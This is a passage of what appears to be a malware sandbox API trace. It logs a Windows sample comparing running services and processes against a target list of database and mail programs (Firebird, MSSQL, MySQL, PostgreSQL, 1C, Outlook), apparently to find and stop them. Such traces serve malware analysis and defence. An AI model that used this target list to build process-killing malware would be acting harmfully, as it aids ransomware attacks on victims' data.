lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0051.913] lstrlenW (lpString="lmhosts") returned 7 [0051.913] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0051.913] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0051.913] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0051.913] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0051.913] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0051.913] lstrlenW (lpString="MMCSS") returned 5 [0051.913] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0051.913] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0051.913] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0051.913] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0051.913] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0051.913] lstrlenW (lpString="MpsSvc") returned 6 [0051.913] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0051.914] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0051.914] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0051.914] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0051.914] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0051.914] lstrlenW (lpString="Netman") returned 6 [0051.914] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0051.914] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0051.914] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0051.914] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0051.914] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0051.914] lstrlenW (lpString="netprofm") returned 8 [0051.914] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0051.914] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0051.914] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0051.914] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0051.914] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0051.914] lstrlenW (lpString="NlaSvc") returned 6 [0051.914] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0051.914] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0051.914] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0051.914] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0051.914] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0051.914] lstrlenW (lpString="nsi") returned 3 [0051.914] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0051.914] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0051.914] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0051.914] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0051.914] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0051.914] lstrlenW (lpString="PcaSvc") returned 6 [0051.914] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0051.914] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0051.914] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0051.914] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0051.914] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0051.914] lstrlenW (lpString="PlugPlay") returned 8 [0051.914] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0051.915] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0051.915] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0051.915] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0051.915] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0051.915] lstrlenW (lpString="Power") returned 5 [0051.915] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0051.915] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0051.915] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0051.915] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0051.915] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0051.915] lstrlenW (lpString="ProfSvc") returned 7 [0051.915] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0051.915] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0051.915] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0051.915] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0051.915] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0051.915] lstrlenW (lpString="RpcEptMapper") returned 12 [0051.915] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0051.915] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0051.915] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0051.915] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0051.915] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0051.915] lstrlenW (lpString="RpcSs") returned 5 [0051.915] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0051.915] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0051.915] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0051.915] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0051.915] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0051.915] lstrlenW (lpString="SamSs") returned 5 [0051.915] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0051.915] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0051.915] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0051.915] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0051.915] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0051.916] lstrlenW (lpString="Schedule") returned 8 [0051.916] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0051.916] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0051.916] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0051.916] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0051.916] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0051.916] lstrlenW (lpString="SENS") returned 4 [0051.916] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0051.916] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0051.916] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0051.916] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0051.916] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0051.916] lstrlenW (lpString="ShellHWDetection") returned 16 [0051.916] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0051.916] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0051.916] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0051.916] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0051.916] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0051.916] lstrlenW (lpString="Spooler") returned 7 [0051.916] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0051.916] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0051.916] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0051.916] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0051.916] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0051.916] lstrlenW (lpString="swprv") returned 5 [0051.916] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="swprv") returned -1 [0051.916] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="swprv") returned -1 [0051.916] lstrcmpiW (lpString1="sqlwriter", lpString2="swprv") returned -1 [0051.917] lstrcmpiW (lpString1="mssqlserver", lpString2="swprv") returned -1 [0051.917] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="swprv") returned -1 [0051.917] lstrlenW (lpString="SysMain") returned 7 [0051.917] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0051.917] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0051.917] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0051.917] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0051.917] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0051.917] lstrlenW (lpString="Themes") returned 6 [0051.917] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0051.917] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0051.917] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0051.917] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0051.917] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0051.917] lstrlenW (lpString="TrkWks") returned 6 [0051.917] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0051.917] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0051.917] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0051.917] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0051.917] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0051.917] lstrlenW (lpString="UxSms") returned 5 [0051.917] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0051.917] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0051.917] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0051.917] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0051.917] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0051.917] lstrlenW (lpString="VSS") returned 3 [0051.917] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0051.917] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0051.917] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0051.917] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0051.917] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0051.917] lstrlenW (lpString="WdiServiceHost") returned 14 [0051.917] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0051.917] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0051.918] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0051.918] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0051.918] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0051.918] lstrlenW (lpString="WdiSystemHost") returned 13 [0051.918] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0051.918] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0051.918] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0051.918] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0051.918] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0051.918] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0051.918] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0051.918] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0051.918] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0051.918] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0051.918] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0051.918] lstrlenW (lpString="Winmgmt") returned 7 [0051.918] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0051.918] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0051.918] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0051.918] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0051.918] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0051.918] lstrlenW (lpString="WPDBusEnum") returned 10 [0051.918] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0051.918] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0051.918] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0051.918] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0051.918] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0051.918] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x55e478 | out: hHeap=0x510000) returned 1 [0051.918] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x208 [0051.921] Process32FirstW (in: hSnapshot=0x208, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0051.921] Process32NextW (in: hSnapshot=0x208, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0051.922] lstrlenW (lpString="System") returned 6 [0051.922] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0051.922] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0051.922] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0051.922] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0051.922] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0051.922] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0051.922] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0051.922] Process32NextW (in: hSnapshot=0x208, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0051.922] lstrlenW (lpString="smss.exe") returned 8 [0051.922] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0051.923] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0051.923] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0051.923] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0051.923] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0051.923] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0051.923] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0051.923] Process32NextW (in: hSnapshot=0x208, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0051.923] lstrlenW (lpString="csrss.exe") returned 9 [0051.923] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0051.923] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0051.923] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0051.923] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0051.923] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0051.924] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0051.924] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0051.924] Process32NextW (in: hSnapshot=0x208, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0051.924] lstrlenW (lpString="wininit.exe") returned 11 [0051.924] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0051.924] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0051.924] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0051.924] Process32NextW (in: hSnapshot=0x208, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0051.925] lstrlenW (lpString="csrss.exe") returned 9 [0051.925] Process32NextW (in: hSnapshot=0x208, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0051.925] lstrlenW (lpString="winlogon.exe") returned 12 [0051.925] Process32NextW (in: hSnapshot=0x208, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0051.926] lstrlenW (lpString="services.exe") returned 12 [0051.926] Process32NextW (in: hSnapshot=0x208, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0051.926] lstrlenW (lpString="lsass.exe") returned 9 [0051.926] Process32NextW (in: hSnapshot=0x208, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0051.927] lstrlenW (lpString="lsm.exe") returned 7 [0051.927] Process32NextW (in: hSnapshot=0x208, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0051.927] lstrlenW (lpString="svchost.exe") returned 11 [0051.927] Process32NextW (in: hSnapshot=0x208, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0051.928] lstrlenW (lpString="svchost.exe") returned 11 [0051.928] Process32NextW (in: hSnapshot=0x208, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0051.928] lstrlenW (lpString="svchost.exe") returned 11 [0051.928] Process32NextW (in: hSnapshot=0x208, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0051.929] lstrlenW (lpString="svchost.exe") returned 11 [0051.929] Process32NextW (in: hSnapshot=0x208, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0051.929] lstrlenW (lpString="svchost.exe") returned 11 [0051.929] Process32NextW (in: hSnapshot=0x208, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0051.930] lstrlenW (lpString="audiodg.exe") returned 11 [0051.930] Process32NextW (in: hSnapshot=0x208, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0051.930] lstrlenW (lpString="svchost.exe") returned 11 [0051.930] Process32NextW (in: hSnapshot=0x208, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0051.931] lstrlenW (lpString="svchost.exe") returned 11 [0051.931] Process32NextW (in: hSnapshot=0x208, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0051.931] lstrlenW (lpString="dwm.exe") returned 7 [0051.931] Process32NextW (in: hSnapshot=0x208, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0051.932] lstrlenW (lpString="explorer.exe") returned 12 [0051.932] Process32NextW (in: hSnapshot=0x208, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0051.932] lstrlenW (lpString="spoolsv.exe") returned 11 [0051.932] Process32NextW (in: hSnapshot=0x208, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0051.933] lstrlenW (lpString="taskhost.exe") returned 12 [0051.933] Process32NextW (in: hSnapshot=0x208, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0051.933] lstrlenW (lpString="svchost.exe") returned 11 [0051.933] Process32NextW (in: hSnapshot=0x208, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0051.934] lstrlenW (lpString="taskeng.exe") returned 11 [0051.934] Process32NextW (in: hSnapshot=0x208, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0051.934] lstrlenW (lpString="taskhost.exe") returned 12 [0051.934] Process32NextW (in: hSnapshot=0x208, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="dear.exe")) returned 1 [0051.934] lstrlenW (lpString="dear.exe") returned 8 [0051.935] Process32NextW (in: hSnapshot=0x208, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x440, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="b costa.exe")) returned 1 [0051.935] lstrlenW (lpString="b costa.exe") returned 11 [0051.935] Process32NextW (in: hSnapshot=0x208, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="rc lock.exe")) returned 1 [0051.936] lstrlenW (lpString="rc lock.exe") returned 11 [0051.936] Process32NextW (in: hSnapshot=0x208, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x32c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="golden_bt_olive.exe")) returned 1 [0051.936] lstrlenW (lpString="golden_bt_olive.exe") returned 19 [0051.936] Process32NextW (in: hSnapshot=0x208, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, 